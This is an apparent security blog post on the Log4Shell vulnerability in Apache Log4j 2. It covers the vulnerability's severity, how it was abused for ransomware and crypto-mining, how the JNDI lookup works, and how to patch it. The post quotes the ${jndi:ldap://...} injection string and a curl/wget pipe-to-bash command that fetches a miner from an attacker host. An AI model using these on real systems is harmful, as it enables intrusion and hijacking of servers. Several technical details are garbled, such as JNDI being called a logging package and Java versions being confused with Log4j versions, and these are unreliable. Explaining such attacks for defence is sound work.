Log4Shell: How it Works, Post-Exploitation, and Mitigation

Post Credit: Austin Miller, Kartikey Pandey

The Log4j 2 vulnerability has been the hot talk of the cybersecurity world this past week because it is a critical vulnerability that almost anyone could run. Based on a weakness in the Apache Log4j logging package that then allows the user to communicate and manipulate data on the server-side, vulnerable systems are at risk of everything from unauthorized data access to ransomware attacks.

Understanding Log4Shell (the name given to the associated exploit) means knowing how the exploit works, what Log4j 2.15 fixed, and why Log4j 2.16 was also necessary to close out the adversary from online services and offline servers. This week, we’re going to look at how Log4Shell set the internet on fire and how you can mitigate the issues it has caused.

What is Log4Shell?

Discovered and reported to Apache (report in Mandarin Chinese) by Chen Zhaojun of the Alibaba Cloud Security team, this deserialized bug exploits the strange functionality of the Apache Log4j package. By inserting malicious code via a format string attack into pretty much anywhere that a user can influence data that is sorted on a server.

Because of this, it has been possible to exploit the logging facade package and the LDAP protocol to launch malware remotely. Web applications and offline servers alike have been vulnerable due to vulnerable Java applications.

Of course, for some people, this biggest revelation is the ubiquity of Java in the modern age. Needless to say, some developers and security experts have been caught off guard!

How Serious is Log4Shell?

Due to public statements like “the internet is on fire” from IT and cybersecurity professionals, the mainstream media has really jumped into the Log4Shell debate with two feet.

As with most cybersecurity hysteria, the fix is actually quite simple for most users. The problem is that this vulnerability has leveraged the Java Naming and Directory Interface (JDNI) to allow a remote attacker to execute arbitrary code, access sensitive data, and move laterally across a network.

A full breakdown of all compromised Log4j software has been compiled by the NCNS-NL and is available on Github. As of right now, the NCNS has detected hundreds of software instances that need urgent updates.

A Critical CVS

The Common Vulnerability Scoring System rating for the Log4j 2 vulnerability is 10.0 and 9.3 for v2, so this is serious business. This CVSS clearly shows that not only does Log4Shell mean a difficult update period for cybersecurity professionals, but also that this is readily being exploited by threat actors.

CVSS has been described this critical vulnerability as:

Medium complexity
Authentication not required
CWE-502 – Deserialized of Untrusted Data

Why does it rank so highly?

There are multiple reasons for Log4Shell’s extremely high CVS. In short, this exploit is extremely easy, launchable from pretty much anywhere, and causes a massive amount of damage in the wrong hands.

Ease of use. Because the exploit can be launched with only one line of code, unpatched Java software has become a prime hunting ground for cybercriminals that are lacking in coding skills. Entering jndi:ldap://[host]:[port]/[path] into any user-facing form, chatbox, URL, etc. is the only thing that the adversary has to do in order to launch their malware.
Easy to execute. On that note, look at where you can plug in this string – practically anywhere! The attack vector is literally anywhere the user can interact with the system. This wide-spanning vulnerability makes it extremely easy for the adversary to interfere with the back-end.
Potential damage. Because a malicious GET request can lead to any simple HTTP endpoint where a piece of malware is stored, the potential for damage is up to the imagination of the adversary. Ransomware, cryptojacking mining software, botnet software – whatever the attacker wants to upload to the system.

Altogether, these factors have turned Log4Shell into one of the most worrisome vulnerabilities that security professionals have seen in a long-time. All thanks to a simple formatting string attack.

How is the adversary using Log4Shell?

Bitdefender user agent string example

This formatting string attack is so easy that pretty much anyone who understands even the most basic of Java could cause serious damage to an outstanding number of servers running Java-enabled software. Because of that, we have threat actors launching various kinds of exploits at software still running with Java version 14 or earlier.

In particular, we have seen:

Installation of Cobalt Strike for credential theft or lateral movement
Data exfiltration
Installations of Muhstik Botnet which, in turn, installed cryptocurrency miners on infected systems

Where was Log4Shell Discovered?

The time between Microsoft addressing a bug that allowed Minecraft players to wrestle control of strangers’ accounts and the internet realizing that this was the most serious bug that we have seen in years was very small. Because of that, not only was the bug discovered, but also a myriad of exploits that have already weaponized this vulnerability.

Minecraft

Although an unlikely stomping ground for cybersecurity news, the Minecraft community has been exploiting this vulnerability for some time. By pasting the malicious string into the in-world chatbox, players have been able to gain unauthorized access to accounts.

This led to Microsoft releasing a patch on 11th December, initially intended simply to stop the exploit activity in Minecraft. The same blog post explaining the fix stated that no known exploit attempts had been made against Microsoft’s enterprise tools, but little did we know just how severe this Minecraft trolling tool would be.

The Khonsari Ransomware

Just like most security professionals predicted, the Log4Shell vulnerability has given ransomware criminals an easy way to infiltrate and lock up systems that are running outdated versions of Java. What we might not have expected, though, is that this seems to be a new family of ransomware attacks.

Identified in a blogpost by cybersecurity firm Bitdefender and confirmed by Microsoft’s own security team, the Khonsari ransomware quickly encrypts the following folders:

C:\Users\<user>\Documents
C:\Users\<user>\Videos
C:\Users\<user>\Pictures
C:\Users\<user>\Downloads
C:\Users\<user>\Desktop

All encrypted files are locked up with AES 128 and carry the .khonsari extension, rendering them inaccessible. The following ransomware note has also been found in the payload of the initial infection:

Your files have been encrypted and stolen by the Khonsari family. If you wish to decrypt , call (***) ***-1309 or email kar***[email protected] you do not know how to buy btc, use a search engine to find exchanges. DO NOT MODIFY OR DELETE THIS FILE OR ANY ENCRYPTED FILES. IF YOU DO, YOUR FILES MAY BE UNRECOVERABLE.

Source: Bitdefender

Not great. The Khonsari ransomware cybercriminals are also targeting Linux users, executing the following string to exploit the weakened Log4j package. You can detect incoming Khonsari attacks by finding the following malicious string that links the exploitable servers to the payload:

hxxp://3.145.115[.]94/Main.class

XMRIG crypto-miner

Unsurprisingly, gaining remote access to powerful servers around the world has been enticing for crypto-jackers. Bitdefender found that the most common crypto-miner malware attack contains the XMRIG payload.

Directly calling on the XMRIG Github page, the miner is downloaded to the server and starts to mine for a variety of cryptos.

XMRIG script

Using the format string attack shown above, the attacker executes code that automatically installs code to the remote server. The executed code looks like this:

cmd /C “(curl -s hxxp://158.247.218[.]44:8000/wsnbb.sh||wget -q -O- hxxp://154.247.218[.]44:8000/wsnbb.sh) | bash

This installs wsnbb.sh, which is the crypto-miner. As of the middle of December, this has been the most common type of malicious attack that unpatched systems have faced.

How does Log4Shell Work?

The Log4Shell exploit is very simple, actually. Because the threat actor simply needs to enter the exploit code into anywhere that a user can interact with the server, this vulnerability is extremely exploitable.

Making the GET Request

In order to start up the exploit, the adversary submits the following code into any text-based input that communicates with the back-end:

${ jndi:ldap://[host]:[port]/[path]}

There are three points of interest here:

JNDI is the Java Naming and Directory Interface, a logging package that has somehow allowed the adversary to execute remote code.
LDAP refers to the application protocol (Lightweight Directory Access Protocol), linking the threat actor to the back-end server. LDAP has not been the only exploitable protocol, with LDAP accounting for 50.7% of attacks, DNS for 47.8%, RMI for 0.9%, and LDAPS for 0.6%.Bitdefender protocols graph for Log4Shell exploitable protocols

The [host]:[port]/[path] section refers to where the payload is stored.When the string is submitted to a chat box, form, or URL bar, the faulty Log4j 2 package logs the string and potentially allows full control over the server to the malicious agent. The adversary’s malicious payload will begin to make contact with the vulnerable web server.

Using JNDI

The main culprit, in this case, is the unusual behavior of the JDNI logger.

The package is designed to allow a programmer to look up objects via various means, but it has accidentally allowed threat actors to gain control of said objects and (by extension) servers through a simple exploit.

Because security researchers have identified the JNDI as the weak point in the vulnerability, urgent patches and workarounds have been released by the Java team, Microsoft, and other big names in the industry. Closing off the weakness here is key to avoiding further exploitation of your data by the adversary!

The Exploit

The JNDI interprets the input from the adversary as a variable that has not been resolved. Because of that, the logger expands the request made.

The expansion allows the malicious string including the malicious link to make contact with the server via LDAP, NDS, RMI, or LDAPS (all of these methods have been observed so far – as the adversary continues to obfuscate its attack, this list may expand). Now that the server has made contact with the malicious user’s server, they can wrestle control of the entire system.

Post-Exploitation Behaviour

Although the initial exploit isn’t difficult to perform, Log4Shell received a CVSS 10.0 rating for a reason. By creating a simple string to enter into the static logger log, a user could gain control over an entire system within minutes.

Remote code execution is painfully simple at this point and security researchers such as Microsoft have noticed that threat actors have been able to execute arbitrary code for:

Crypto-jacking attacks,
Cobalt Strike for credential theft or lateral movement
Data exfiltration from compromised servers
Suspected ransomware attacks

Thankfully, most exploitation of this vulnerability so far has come from scanning to finding vulnerable systems. The Log4j vulnerability has incredible potential for remote code execution, however.

Mitigating the Risk

Due to the severity of the exploits that have run thanks to the weakness in the Log4j vulnerability, mitigating the risk has become the hot topic of the cybersecurity world this past week.

Depending on the version of Java that your organization uses, you may find that you need to use some workarounds. Java versions 2.0 to 2.14 are vulnerable and need to be addressed before the adversary causes you even more issues.

Updating to Apache Log4j 2.16

As always, the best method to stop vulnerabilities from being exploited is to update all software that is running with an outdated version of Log4j 2. This will protect vulnerable servers from maliciously uploaded remote code and stop the adversary from running crypto-jacking tools or other nefarious malware on your systems.

Will Log4j 2.15 do?

If you heard about this story early on, you probably started to update your software to cover for CVE-2021-44228. The problem is that the Log4j Java software update package did not shut down all routes for threat actors attempting to remotely execute code.

Only five days after the patch for CVE-2021-44228 was rolled out, a further update for the Log4Shell vulnerability was released to close off additional potential vulnerabilities before they could be openly exploited by threat actors.

When that’s not possible…

If your organization relies on a vulnerable version of Java to work properly, there is also a workaround for Log4j 2.10-14.

All versions from .10 to .14 supported the parameter log4j2.formatMsgNoLookups automatically set to TRUE. By turning off all Log4j 2 log message parameters that deal with this functionality, you can stop the adversary from executing malicious arbitrary code.

Log4Shell: Worth the Worry?

Although it is easily executable and launchable from practically anywhere, the Log4Shell vulnerability will soon pass into the annals of cybersecurity history. Untreated, it is a serious security risk. When either of the easily implemented fixes is put in place, the internet will go back to being distinctly not on fire.

For security professionals, this December is the month of scanning, discovering, and treating faulty Log4j 2 packages in proprietary, open-source, and commercial software. This has been a week-long endeavor for some security teams, but the release of Log4j 2.16 should now make this update cycle little more than an organization-wide update.

If you’re interested in finding out more about the malware that was used by the adversary when exploiting the software, check out these articles:

[/et_pb_text][/et_pb_column][/et_pb_row][/et_pb_section][et_pb_section fb_built=”1″ _builder_version=”4.14.2″ _module_preset=”default” global_colors_info=”{}”][et_pb_row _builder_version=”4.14.2″ _module_preset=”default” global_colors_info=”{}”][et_pb_column type=”4_4″ _builder_version=”4.14.2″ _module_preset=”default” global_colors_info=”{}”][et_pb_social_media_follow _builder_version=”4.14.2″ _module_preset=”default” global_colors_info=”{}”][et_pb_social_media_follow_network social_network=”linkedin” url=”https://www.linkedin.com/company/76640520″ _builder_version=”4.14.2″ _module_preset=”default” background_color=”#007bb6″ global_colors_info=”{}” follow_button=”on” url_new_window=”on”]linkedin[/et_pb_social_media_follow_network][et_pb_social_media_follow_network social_network=”twitter” _builder_version=”4.14.2″ _module_preset=”default” background_color=”#00aced” global_colors_info=”{}” follow_button=”on” url_new_window=”on”]twitter[/et_pb_social_media_follow_network][/et_pb_social_media_follow][/et_pb_column][/et_pb_row][/et_pb_section]

Log4Shell: How it Works, Post-Exploitation, and Mitigation
L